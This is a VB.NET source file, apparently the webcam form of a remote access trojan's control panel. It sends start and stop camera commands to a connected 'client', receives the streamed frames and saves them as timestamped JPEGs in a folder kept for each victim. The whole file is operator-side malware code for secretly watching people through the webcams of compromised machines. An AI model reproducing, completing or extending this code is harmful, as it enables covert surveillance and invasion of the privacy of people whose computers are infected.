87 lines
3.3 KiB
VB.net
87 lines
3.3 KiB
VB.net
Imports System.IO
|
|
Imports System.Threading
|
|
Public Class WebCam
|
|
|
|
Public C As Client
|
|
Public CID As String
|
|
|
|
Public FPS As Integer = 0
|
|
Public sw As Stopwatch = Stopwatch.StartNew()
|
|
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
|
Try
|
|
If Not C.IsConnected Then
|
|
Close()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
Public Sub save(ByVal b As IO.MemoryStream)
|
|
Try
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID, "WebCam")
|
|
Image.FromStream(b).Save(fullPath & "\" & DateAndTime.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".jpg", Imaging.ImageFormat.Jpeg)
|
|
Catch ex As Exception
|
|
ToolStripStatusLabel4.ForeColor = Color.Black
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub WebCam_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
Guna2ComboBox1.Text = "10%"
|
|
Guna2GradientButton1.PerformClick()
|
|
End Sub
|
|
|
|
Private Sub WebCam_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
|
Dim B As Byte() = SB("ENDCam")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub ToolStripStatusLabel4_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel4.Click
|
|
If ToolStripStatusLabel4.ForeColor = Color.Green Then
|
|
ToolStripStatusLabel4.ForeColor = Color.Black
|
|
Else
|
|
Try
|
|
If PictureBox1.Image IsNot Nothing Then
|
|
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID, "WebCam")
|
|
|
|
If Not Directory.Exists(fullPath) Then
|
|
Directory.CreateDirectory(fullPath)
|
|
End If
|
|
|
|
Process.Start(fullPath)
|
|
|
|
ToolStripStatusLabel4.ForeColor = Color.Green
|
|
|
|
End If
|
|
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
|
If Guna2GradientButton1.Text = "Start" Then
|
|
|
|
Dim B As Byte() = SB("Cam" & SettingsHelper.SPL & Guna2ComboBox2.SelectedIndex.ToString & SettingsHelper.SPL & Guna2ComboBox1.Text.Replace("%", "").ToString)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Guna2GradientButton1.Text = "Stop"
|
|
Guna2GradientButton1.Image = My.Resources._Stop
|
|
|
|
Else
|
|
|
|
Dim B As Byte() = SB("CLOSECam")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Guna2GradientButton1.Text = "Start"
|
|
Guna2GradientButton1.Image = My.Resources.Play
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Guna2ComboBox2_SelectedIndexChanged(sender As Object, e As EventArgs) Handles Guna2ComboBox2.SelectedIndexChanged
|
|
Dim B As Byte() = SB("CLOSECam")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Guna2GradientButton1.Text = "Start"
|
|
Guna2GradientButton1.Image = My.Resources.Play
|
|
End Sub
|
|
End Class |